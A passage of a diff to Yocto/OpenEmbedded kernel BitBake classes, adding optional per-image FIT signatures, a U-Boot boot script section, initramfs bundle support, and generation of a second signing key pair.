- ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name.$dtb_ext
- ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext
+ if [ "${KERNEL_IMAGETYPE_SYMLINK}" = "1" ] ; then
+ ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name.$dtb_ext
+ fi
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ] ; then
+ ln -sf $dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext
+ fi
for type in ${KERNEL_IMAGETYPE_FOR_MAKE}; do
if [ "$type" = "zImage" ] && [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
cat ${D}/${KERNEL_IMAGEDEST}/$type \
$deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext \
- > $deployDir/$type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin
- ln -sf $type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin \
- $deployDir/$type-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext.bin
+ > $deployDir/$type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ]; then
+ ln -sf $type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/$type-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
if [ -e "${KERNEL_OUTPUT_DIR}/${type}.initramfs" ]; then
cat ${KERNEL_OUTPUT_DIR}/${type}.initramfs \
$deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext \
- > $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin
- ln -sf ${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext.bin \
- $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext.bin
+ > $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ]; then
+ ln -sf ${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
fi
fi
done
diff --git a/meta/classes/kernel-fitimage.bbclass b/meta/classes/kernel-fitimage.bbclass
index bb2f3c4ccc..b0c971b0eb 100644
--- a/meta/classes/kernel-fitimage.bbclass
+++ b/meta/classes/kernel-fitimage.bbclass
@@ -1,5 +1,7 @@
inherit kernel-uboot kernel-artifact-names uboot-sign
+KERNEL_IMAGETYPE_REPLACEMENT = ""
+
python __anonymous () {
kerneltypes = d.getVar('KERNEL_IMAGETYPES') or ""
if 'fitImage' in kerneltypes.split():
@@ -21,6 +23,8 @@ python __anonymous () {
else:
replacementtype = "zImage"
+ d.setVar("KERNEL_IMAGETYPE_REPLACEMENT", replacementtype)
+
# Override KERNEL_IMAGETYPE_FOR_MAKE variable, which is internal
# to kernel.bbclass . We have to override it, since we pack zImage
# (at least for now) into the fitImage .
@@ -45,43 +49,35 @@ python __anonymous () {
if d.getVar('UBOOT_SIGN_ENABLE') == "1" and d.getVar('UBOOT_DTB_BINARY'):
uboot_pn = d.getVar('PREFERRED_PROVIDER_u-boot') or 'u-boot'
d.appendVarFlag('do_assemble_fitimage', 'depends', ' %s:do_populate_sysroot' % uboot_pn)
+ if d.getVar('INITRAMFS_IMAGE_BUNDLE') == "1":
+ d.appendVarFlag('do_assemble_fitimage_initramfs', 'depends', ' %s:do_populate_sysroot' % uboot_pn)
}
-# Options for the device tree compiler passed to mkimage '-D' feature:
-UBOOT_MKIMAGE_DTCOPTS ??= ""
-
-# fitImage Hash Algo
-FIT_HASH_ALG ?= "sha256"
-
-# fitImage Signature Algo
-FIT_SIGN_ALG ?= "rsa2048"
-
-# Generate keys for signing fitImage
-FIT_GENERATE_KEYS ?= "0"
-
-# Size of private key in number of bits
-FIT_SIGN_NUMBITS ?= "2048"
-# args to openssl genrsa (Default is just the public exponent)
-FIT_KEY_GENRSA_ARGS ?= "-F4"
+# Description string
+FIT_DESC ?= "Kernel fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}"
-# args to openssl req (Default is -batch for non interactive mode and
-# -new for new certificate)
-FIT_KEY_REQ_ARGS ?= "-batch -new"
+# Sign individual images as well
+FIT_SIGN_INDIVIDUAL ?= "0"
-# Standard format for public key certificate
-FIT_KEY_SIGN_PKCS ?= "-x509"
+# Keys used to sign individually image nodes.
+# The keys to sign image nodes must be different from those used to sign
+# configuration nodes, otherwise the "required" property, from
+# UBOOT_DTB_BINARY, will be set to "conf", because "conf" prevails on "image".
+# Then the images signature checking will not be mandatory and no error will be
+# raised in case of failure.
+# UBOOT_SIGN_IMG_KEYNAME = "dev2" # keys name in keydir (eg. "dev2.crt", "dev2.key")
#
# Emit the fitImage ITS header
#
# $1 ... .its filename
fitimage_emit_fit_header() {
- cat << EOF >> ${1}
+ cat << EOF >> $1
/dts-v1/;
/ {
- description = "U-Boot fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}";
+ description = "${FIT_DESC}";
#address-cells = <1>;
EOF
}
@@ -98,24 +94,24 @@ EOF
fitimage_emit_section_maint() {
case $2 in
imagestart)
- cat << EOF >> ${1}
+ cat << EOF >> $1
images {
EOF
;;
confstart)
- cat << EOF >> ${1}
+ cat << EOF >> $1
configurations {
EOF
;;
sectend)
- cat << EOF >> ${1}
+ cat << EOF >> $1
};
EOF
;;
fitend)
- cat << EOF >> ${1}
+ cat << EOF >> $1
};
EOF
;;
@@ -132,6 +128,8 @@ EOF
fitimage_emit_section_kernel() {
kernel_csum="${FIT_HASH_ALG}"
+ kernel_sign_algo="${FIT_SIGN_ALG}"
+ kernel_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
ENTRYPOINT="${UBOOT_ENTRYPOINT}"
if [ -n "${UBOOT_ENTRYSYMBOL}" ]; then
@@ -139,21 +137,32 @@ fitimage_emit_section_kernel() {
awk '$3=="${UBOOT_ENTRYSYMBOL}" {print "0x"$1;exit}'`
fi
- cat << EOF >> ${1}
- kernel@${2} {
+ cat << EOF >> $1
+ kernel-$2 {
description = "Linux kernel";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "kernel";
arch = "${UBOOT_ARCH}";
os = "linux";
- compression = "${4}";
+ compression = "$4";
load = <${UBOOT_LOADADDRESS}>;
- entry = <${ENTRYPOINT}>;
- hash@1 {
- algo = "${kernel_csum}";
+ entry = <$ENTRYPOINT>;
+ hash-1 {
+ algo = "$kernel_csum";
};
};
EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$kernel_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$kernel_csum,$kernel_sign_algo";
+ key-name-hint = "$kernel_sign_keyname";
+ };
+ };
+EOF
+ fi
}
#
@@ -165,6 +174,8 @@ EOF
fitimage_emit_section_dtb() {
dtb_csum="${FIT_HASH_ALG}"
+ dtb_sign_algo="${FIT_SIGN_ALG}"
+ dtb_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
dtb_loadline=""
dtb_ext=${DTB##*.}
@@ -175,19 +186,67 @@ fitimage_emit_section_dtb() {
elif [ -n "${UBOOT_DTB_LOADADDRESS}" ]; then
dtb_loadline="load = <${UBOOT_DTB_LOADADDRESS}>;"
fi
- cat << EOF >> ${1}
- fdt@${2} {
+ cat << EOF >> $1
+ fdt-$2 {
description = "Flattened Device Tree blob";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "flat_dt";
arch = "${UBOOT_ARCH}";
compression = "none";
- ${dtb_loadline}
- hash@1 {
- algo = "${dtb_csum}";
+ $dtb_loadline
+ hash-1 {
+ algo = "$dtb_csum";
};
};
EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$dtb_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$dtb_csum,$dtb_sign_algo";
+ key-name-hint = "$dtb_sign_keyname";
+ };
+ };
+EOF
+ fi
+}
+
+#
+# Emit the fitImage ITS u-boot script section
+#
+# $1 ... .its filename
+# $2 ... Image counter
+# $3 ... Path to boot script image
+fitimage_emit_section_boot_script() {
+
+ bootscr_csum="${FIT_HASH_ALG}"
+ bootscr_sign_algo="${FIT_SIGN_ALG}"
+ bootscr_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
+
+ cat << EOF >> $1
+ bootscr-$2 {
+ description = "U-boot script";
+ data = /incbin/("$3");
+ type = "script";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+ hash-1 {
+ algo = "$bootscr_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$bootscr_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$bootscr_csum,$bootscr_sign_algo";
+ key-name-hint = "$bootscr_sign_keyname";
+ };
+ };
+EOF
+ fi
}
#
@@ -200,18 +259,18 @@ fitimage_emit_section_setup() {
setup_csum="${FIT_HASH_ALG}"
- cat << EOF >> ${1}
- setup@${2} {
+ cat << EOF >> $1
+ setup-$2 {
description = "Linux setup.bin";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "x86_setup";
arch = "${UBOOT_ARCH}";
os = "linux";
compression = "none";
load = <0x00090000>;
entry = <0x00090000>;
- hash@1 {
- algo = "${setup_csum}";
+ hash-1 {
+ algo = "$setup_csum";
};
};
EOF
@@ -226,6 +285,8 @@ EOF
fitimage_emit_section_ramdisk() {
ramdisk_csum="${FIT_HASH_ALG}"
+ ramdisk_sign_algo="${FIT_SIGN_ALG}"
+ ramdisk_sign_keyname="${UBOOT_SIGN_IMG_KEYNAME}"
ramdisk_loadline=""
ramdisk_entryline=""
@@ -236,21 +297,32 @@ fitimage_emit_section_ramdisk() {
ramdisk_entryline="entry = <${UBOOT_RD_ENTRYPOINT}>;"
fi
- cat << EOF >> ${1}
- ramdisk@${2} {
+ cat << EOF >> $1
+ ramdisk-$2 {
description = "${INITRAMFS_IMAGE}";
- data = /incbin/("${3}");
+ data = /incbin/("$3");
type = "ramdisk";
arch = "${UBOOT_ARCH}";
os = "linux";
compression = "none";
- ${ramdisk_loadline}
- ${ramdisk_entryline}
- hash@1 {
- algo = "${ramdisk_csum}";
+ $ramdisk_loadline
+ $ramdisk_entryline
+ hash-1 {
+ algo = "$ramdisk_csum";
+ };
+ };
+EOF
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${FIT_SIGN_INDIVIDUAL}" = "1" -a -n "$ramdisk_sign_keyname" ] ; then
+ sed -i '$ d' $1
+ cat << EOF >> $1
+ signature-1 {
+ algo = "$ramdisk_csum,$ramdisk_sign_algo";
+ key-name-hint = "$ramdisk_sign_keyname";
};
};
EOF
+ fi
}
#
@@ -260,116 +332,138 @@ EOF
# $2 ... Linux kernel ID
# $3 ... DTB image name
# $4 ... ramdisk ID
-# $5 ... config ID
-# $6 ... default flag
+# $5 ... u-boot script ID
+# $6 ... config ID
+# $7 ... default flag
fitimage_emit_section_config() {
conf_csum="${FIT_HASH_ALG}"
conf_sign_algo="${FIT_SIGN_ALG}"
- if [ -n "${UBOOT_SIGN_ENABLE}" ] ; then
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" ] ; then
conf_sign_keyname="${UBOOT_SIGN_KEYNAME}"
fi
+ its_file="$1"
+ kernel_id="$2"
+ dtb_image="$3"
+ ramdisk_id="$4"
+ bootscr_id="$5"
+ config_id="$6"
+ default_flag="$7"
+
# Test if we have any DTBs at all
sep=""
conf_desc=""
- conf_node="conf@"
+ conf_node="conf-"
kernel_line=""
fdt_line=""
ramdisk_line=""
+ bootscr_line=""
setup_line=""
default_line=""
# conf node name is selected based on dtb ID if it is present,
# otherwise its selected based on kernel ID
- if [ -n "${3}" ]; then
- conf_node=$conf_node${3}
+ if [ -n "$dtb_image" ]; then
+ conf_node=$conf_node$dtb_image
else
- conf_node=$conf_node${2}
+ conf_node=$conf_node$kernel_id
fi
- if [ -n "${2}" ]; then
+ if [ -n "$kernel_id" ]; then
conf_desc="Linux kernel"
sep=", "
- kernel_line="kernel = \"kernel@${2}\";"
+ kernel_line="kernel = \"kernel-$kernel_id\";"
+ fi
+
+ if [ -n "$dtb_image" ]; then
+ conf_desc="$conf_desc${sep}FDT blob"
+ sep=", "
+ fdt_line="fdt = \"fdt-$dtb_image\";"
fi
- if [ -n "${3}" ]; then
- conf_desc="${conf_desc}${sep}FDT blob"
+ if [ -n "$ramdisk_id" ]; then
+ conf_desc="$conf_desc${sep}ramdisk"
sep=", "
- fdt_line="fdt = \"fdt@${3}\";"
+ ramdisk_line="ramdisk = \"ramdisk-$ramdisk_id\";"
fi
- if [ -n "${4}" ]; then
- conf_desc="${conf_desc}${sep}ramdisk"
+ if [ -n "$bootscr_id" ]; then
+ conf_desc="$conf_desc${sep}u-boot script"
sep=", "
- ramdisk_line="ramdisk = \"ramdisk@${4}\";"
+ bootscr_line="bootscr = \"bootscr-$bootscr_id\";"
fi
- if [ -n "${5}" ]; then
- conf_desc="${conf_desc}${sep}setup"
- setup_line="setup = \"setup@${5}\";"
+ if [ -n "$config_id" ]; then
+ conf_desc="$conf_desc${sep}setup"
+ setup_line="setup = \"setup-$config_id\";"
fi
- if [ "${6}" = "1" ]; then
+ if [ "$default_flag" = "1" ]; then
# default node is selected based on dtb ID if it is present,
# otherwise its selected based on kernel ID
- if [ -n "${3}" ]; then
- default_line="default = \"conf@${3}\";"
+ if [ -n "$dtb_image" ]; then
+ default_line="default = \"conf-$dtb_image\";"
else
- default_line="default = \"conf@${2}\";"
+ default_line="default = \"conf-$kernel_id\";"
fi
fi
- cat << EOF >> ${1}
- ${default_line}
+ cat << EOF >> $its_file
+ $default_line
$conf_node {
- description = "${6} ${conf_desc}";
- ${kernel_line}
- ${fdt_line}
- ${ramdisk_line}
- ${setup_line}
- hash@1 {
- algo = "${conf_csum}";
+ description = "$default_flag $conf_desc";
+ $kernel_line
+ $fdt_line
+ $ramdisk_line
+ $bootscr_line
+ $setup_line
+ hash-1 {
+ algo = "$conf_csum";
};
EOF
- if [ ! -z "${conf_sign_keyname}" ] ; then
+ if [ -n "$conf_sign_keyname" ] ; then
sign_line="sign-images = "
sep=""
- if [ -n "${2}" ]; then
- sign_line="${sign_line}${sep}\"kernel\""
+ if [ -n "$kernel_id" ]; then
+ sign_line="$sign_line${sep}\"kernel\""
sep=", "
fi
- if [ -n "${3}" ]; then
- sign_line="${sign_line}${sep}\"fdt\""
+ if [ -n "$dtb_image" ]; then
+ sign_line="$sign_line${sep}\"fdt\""
sep=", "
fi
- if [ -n "${4}" ]; then
- sign_line="${sign_line}${sep}\"ramdisk\""
+ if [ -n "$ramdisk_id" ]; then
+ sign_line="$sign_line${sep}\"ramdisk\""
sep=", "
fi
- if [ -n "${5}" ]; then
- sign_line="${sign_line}${sep}\"setup\""
+ if [ -n "$bootscr_id" ]; then
+ sign_line="$sign_line${sep}\"bootscr\""
+ sep=", "
+ fi
+
+ if [ -n "$config_id" ]; then
+ sign_line="$sign_line${sep}\"setup\""
fi
- sign_line="${sign_line};"
+ sign_line="$sign_line;"
- cat << EOF >> ${1}
- signature@1 {
- algo = "${conf_csum},${conf_sign_algo}";
- key-name-hint = "${conf_sign_keyname}";
- ${sign_line}
+ cat << EOF >> $its_file
+ signature-1 {
+ algo = "$conf_csum,$conf_sign_algo";
+ key-name-hint = "$conf_sign_keyname";
+ $sign_line
};
EOF
fi
- cat << EOF >> ${1}
+ cat << EOF >> $its_file
};
EOF
}
@@ -384,124 +478,154 @@ fitimage_assemble() {
kernelcount=1
dtbcount=""
DTBS=""
- ramdiskcount=${3}
+ ramdiskcount=$3
setupcount=""
- rm -f ${1} arch/${ARCH}/boot/${2}
+ bootscr_id=""
+ rm -f $1 arch/${ARCH}/boot/$2
+
+ if [ -n "${UBOOT_SIGN_IMG_KEYNAME}" -a "${UBOOT_SIGN_KEYNAME}" = "${UBOOT_SIGN_IMG_KEYNAME}" ]; then
+ bbfatal "Keys used to sign images and configuration nodes must be different."
+ fi
- fitimage_emit_fit_header ${1}
+ fitimage_emit_fit_header $1
#
# Step 1: Prepare a kernel image section.
#
- fitimage_emit_section_maint ${1} imagestart
+ fitimage_emit_section_maint $1 imagestart
uboot_prep_kimage
- fitimage_emit_section_kernel ${1} "${kernelcount}" linux.bin "${linux_comp}"
+ fitimage_emit_section_kernel $1 $kernelcount linux.bin "$linux_comp"
#
# Step 2: Prepare a DTB image section
#
- if [ -z "${EXTERNAL_KERNEL_DEVICETREE}" ] && [ -n "${KERNEL_DEVICETREE}" ]; then
+ if [ -n "${KERNEL_DEVICETREE}" ]; then
dtbcount=1
for DTB in ${KERNEL_DEVICETREE}; do
- if echo ${DTB} | grep -q '/dts/'; then
- bbwarn "${DTB} contains the full path to the the dts file, but only the dtb name should be used."
- DTB=`basename ${DTB} | sed 's,\.dts$,.dtb,g'`
+ if echo $DTB | grep -q '/dts/'; then
+ bbwarn "$DTB contains the full path to the the dts file, but only the dtb name should be used."
+ DTB=`basename $DTB | sed 's,\.dts$,.dtb,g'`
fi
- DTB_PATH="arch/${ARCH}/boot/dts/${DTB}"
- if [ ! -e "${DTB_PATH}" ]; then
- DTB_PATH="arch/${ARCH}/boot/${DTB}"
+
+ # Skip ${DTB} if it's also provided in ${EXTERNAL_KERNEL_DEVICETREE}
+ if [ -n "${EXTERNAL_KERNEL_DEVICETREE}" ] && [ -s ${EXTERNAL_KERNEL_DEVICETREE}/${DTB} ]; then
+ continue
+ fi
+
+ DTB_PATH="arch/${ARCH}/boot/dts/$DTB"
+ if [ ! -e "$DTB_PATH" ]; then
+ DTB_PATH="arch/${ARCH}/boot/$DTB"
fi
- DTB=$(echo "${DTB}" | tr '/' '_')
- DTBS="${DTBS} ${DTB}"
- fitimage_emit_section_dtb ${1} ${DTB} ${DTB_PATH}
+ DTB=$(echo "$DTB" | tr '/' '_')
+ DTBS="$DTBS $DTB"
+ fitimage_emit_section_dtb $1 $DTB $DTB_PATH
done
fi
if [ -n "${EXTERNAL_KERNEL_DEVICETREE}" ]; then
dtbcount=1
for DTB in $(find "${EXTERNAL_KERNEL_DEVICETREE}" \( -name '*.dtb' -o -name '*.dtbo' \) -printf '%P\n' | sort); do
- DTB=$(echo "${DTB}" | tr '/' '_')
- DTBS="${DTBS} ${DTB}"
- fitimage_emit_section_dtb ${1} ${DTB} "${EXTERNAL_KERNEL_DEVICETREE}/${DTB}"
+ DTB=$(echo "$DTB" | tr '/' '_')
+ DTBS="$DTBS $DTB"
+ fitimage_emit_section_dtb $1 $DTB "${EXTERNAL_KERNEL_DEVICETREE}/$DTB"
done
fi
#
- # Step 3: Prepare a setup section. (For x86)
+ # Step 3: Prepare a u-boot script section
+ #
+
+ if [ -n "${UBOOT_ENV}" ] && [ -d "${STAGING_DIR_HOST}/boot" ]; then
+ if [ -e "${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY}" ]; then
+ cp ${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY} ${B}
+ bootscr_id="${UBOOT_ENV_BINARY}"
+ fitimage_emit_section_boot_script $1 "$bootscr_id" ${UBOOT_ENV_BINARY}
+ else
+ bbwarn "${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY} not found."
+ fi
+ fi
+
+ #
+ # Step 4: Prepare a setup section. (For x86)
#
if [ -e arch/${ARCH}/boot/setup.bin ]; then
setupcount=1
- fitimage_emit_section_setup ${1} "${setupcount}" arch/${ARCH}/boot/setup.bin
+ fitimage_emit_section_setup $1 $setupcount arch/${ARCH}/boot/setup.bin
fi
#
- # Step 4: Prepare a ramdisk section.
+ # Step 5: Prepare a ramdisk section.
#
- if [ "x${ramdiskcount}" = "x1" ] ; then
+ if [ "x${ramdiskcount}" = "x1" ] && [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
# Find and use the first initramfs image archive type we find
- for img in cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.gz ext2.gz cpio; do
- initramfs_path="${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.${img}"
- echo "Using $initramfs_path"
- if [ -e "${initramfs_path}" ]; then
- fitimage_emit_section_ramdisk ${1} "${ramdiskcount}" "${initramfs_path}"
+ for img in cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.zst cpio.gz ext2.gz cpio; do
+ initramfs_path="${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img"
+ echo -n "Searching for $initramfs_path..."
+ if [ -e "$initramfs_path" ]; then
+ echo "found"
+ fitimage_emit_section_ramdisk $1 "$ramdiskcount" "$initramfs_path"
break
+ else
+ echo "not found"
fi
done
fi
- fitimage_emit_section_maint ${1} sectend
+ fitimage_emit_section_maint $1 sectend
# Force the first Kernel and DTB in the default config
kernelcount=1
- if [ -n "${dtbcount}" ]; then
+ if [ -n "$dtbcount" ]; then
dtbcount=1
fi
#
- # Step 5: Prepare a configurations section
+ # Step 6: Prepare a configurations section
#
- fitimage_emit_section_maint ${1} confstart
+ fitimage_emit_section_maint $1 confstart
# kernel-fitimage.bbclass currently only supports a single kernel (no less or
# more) to be added to the FIT image along with 0 or more device trees and
# 0 or 1 ramdisk.
+ # It is also possible to include an initramfs bundle (kernel and rootfs in one binary)
+ # When the initramfs bundle is used ramdisk is disabled.
# If a device tree is to be part of the FIT image, then select
# the default configuration to be used is based on the dtbcount. If there is
# no dtb present than select the default configuation to be based on
# the kernelcount.
- if [ -n "${DTBS}" ]; then
+ if [ -n "$DTBS" ]; then
i=1
for DTB in ${DTBS}; do
dtb_ext=${DTB##*.}
- if [ "${dtb_ext}" = "dtbo" ]; then
- fitimage_emit_section_config ${1} "" "${DTB}" "" "" "`expr ${i} = ${dtbcount}`"
+ if [ "$dtb_ext" = "dtbo" ]; then
+ fitimage_emit_section_config $1 "" "$DTB" "" "$bootscr_id" "" "`expr $i = $dtbcount`"
else
- fitimage_emit_section_config ${1} "${kernelcount}" "${DTB}" "${ramdiskcount}" "${setupcount}" "`expr ${i} = ${dtbcount}`"
+ fitimage_emit_section_config $1 $kernelcount "$DTB" "$ramdiskcount" "$bootscr_id" "$setupcount" "`expr $i = $dtbcount`"
fi
- i=`expr ${i} + 1`
+ i=`expr $i + 1`
done
else
defaultconfigcount=1
- fitimage_emit_section_config ${1} "${kernelcount}" "" "${ramdiskcount}" "${setupcount}" "${defaultconfigcount}"
+ fitimage_emit_section_config $1 $kernelcount "" "$ramdiskcount" "$bootscr_id" "$setupcount" $defaultconfigcount
fi
- fitimage_emit_section_maint ${1} sectend
+ fitimage_emit_section_maint $1 sectend
- fitimage_emit_section_maint ${1} fitend
+ fitimage_emit_section_maint $1 fitend
#
- # Step 6: Assemble the image
+ # Step 7: Assemble the image
#
- uboot-mkimage \
+ ${UBOOT_MKIMAGE} \
${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
- -f ${1} \
- arch/${ARCH}/boot/${2}
+ -f $1 \
+ arch/${ARCH}/boot/$2
#
- # Step 7: Sign the image and add public key to U-Boot dtb
+ # Step 8: Sign the image and add public key to U-Boot dtb
#
if [ "x${UBOOT_SIGN_ENABLE}" = "x1" ] ; then
add_key_to_u_boot=""
@@ -511,18 +635,19 @@ fitimage_assemble() {
cp -P ${STAGING_DATADIR}/u-boot*.dtb ${B}
add_key_to_u_boot="-K ${B}/${UBOOT_DTB_BINARY}"
fi
- uboot-mkimage \
+ ${UBOOT_MKIMAGE_SIGN} \
${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
-F -k "${UBOOT_SIGN_KEYDIR}" \
$add_key_to_u_boot \
- -r arch/${ARCH}/boot/${2}
+ -r arch/${ARCH}/boot/$2 \
+ ${UBOOT_MKIMAGE_SIGN_ARGS}
fi
}
do_assemble_fitimage() {
if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
cd ${B}
- fitimage_assemble fit-image.its fitImage
+ fitimage_assemble fit-image.its fitImage ""
fi
}
@@ -532,22 +657,26 @@ do_assemble_fitimage_initramfs() {
if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage" && \
test -n "${INITRAMFS_IMAGE}" ; then
cd ${B}
- fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage-${INITRAMFS_IMAGE} 1
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" = "1" ]; then
+ fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage ""
+ else
+ fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage-${INITRAMFS_IMAGE} 1
+ fi
fi
}
addtask assemble_fitimage_initramfs before do_deploy after do_bundle_initramfs
-do_generate_rsa_keys() {
+do_kernel_generate_rsa_keys() {
if [ "${UBOOT_SIGN_ENABLE}" = "0" ] && [ "${FIT_GENERATE_KEYS}" = "1" ]; then
- bbwarn "FIT_GENERATE_KEYS is set to 1 eventhough UBOOT_SIGN_ENABLE is set to 0. The keys will not be generated as they won't be used."
+ bbwarn "FIT_GENERATE_KEYS is set to 1 even though UBOOT_SIGN_ENABLE is set to 0. The keys will not be generated as they won't be used."
fi
if [ "${UBOOT_SIGN_ENABLE}" = "1" ] && [ "${FIT_GENERATE_KEYS}" = "1" ]; then
- # Generate keys only if they don't already exist
+ # Generate keys to sign configuration nodes, only if they don't already exist
if [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key ] || \
- [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".crt]; then
+ [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".crt ]; then
# make directory if it does not already exist
mkdir -p "${UBOOT_SIGN_KEYDIR}"
@@ -555,44 +684,100 @@ do_generate_rsa_keys() {
echo "Generating RSA private key for signing fitImage"
openssl genrsa ${FIT_KEY_GENRSA_ARGS} -out \
"${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key \
- "${FIT_SIGN_NUMBITS}"
+ "${FIT_SIGN_NUMBITS}"
echo "Generating certificate for signing fitImage"
openssl req ${FIT_KEY_REQ_ARGS} "${FIT_KEY_SIGN_PKCS}" \
-key "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key \
-out "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".crt
fi
+
+ # Generate keys to sign image nodes, only if they don't already exist
+ if [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key ] || \
+ [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${UBOOT_SIGN_KEYDIR}"
+
+ echo "Generating RSA private key for signing fitImage"
+ openssl genrsa ${FIT_KEY_GENRSA_ARGS} -out \
+ "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key \
+ "${FIT_SIGN_NUMBITS}"
+
+ echo "Generating certificate for signing fitImage"
+ openssl req ${FIT_KEY_REQ_ARGS} "${FIT_KEY_SIGN_PKCS}" \
+ -key "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key \
+ -out "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".crt
+ fi
fi
}
-addtask generate_rsa_keys before do_assemble_fitimage after do_compile
+addtask kernel_generate_rsa_keys before do_assemble_fitimage after do_compile
kernel_do_deploy[vardepsexclude] = "DATETIME"
-kernel_do_deploy_append() {
+kernel_do_deploy:append() {
# Update deploy directory
if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
- echo "Copying fit-image.its source file..."
- install -m 0644 ${B}/fit-image.its "$deployDir/fitImage-its-${KERNEL_FIT_NAME}.its"
- ln -snf fitImage-its-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${KERNEL_FIT_LINK_NAME}"
- echo "Copying linux.bin file..."
- install -m 0644 ${B}/linux.bin $deployDir/fitImage-linux.bin-${KERNEL_FIT_NAME}.bin
- ln -snf fitImage-linux.bin-${KERNEL_FIT_NAME}.bin "$deployDir/fitImage-linux.bin-${KERNEL_FIT_LINK_NAME}"
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ echo "Copying fit-image.its source file..."
+ install -m 0644 ${B}/fit-image.its "$deployDir/fitImage-its-${KERNEL_FIT_NAME}.its"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
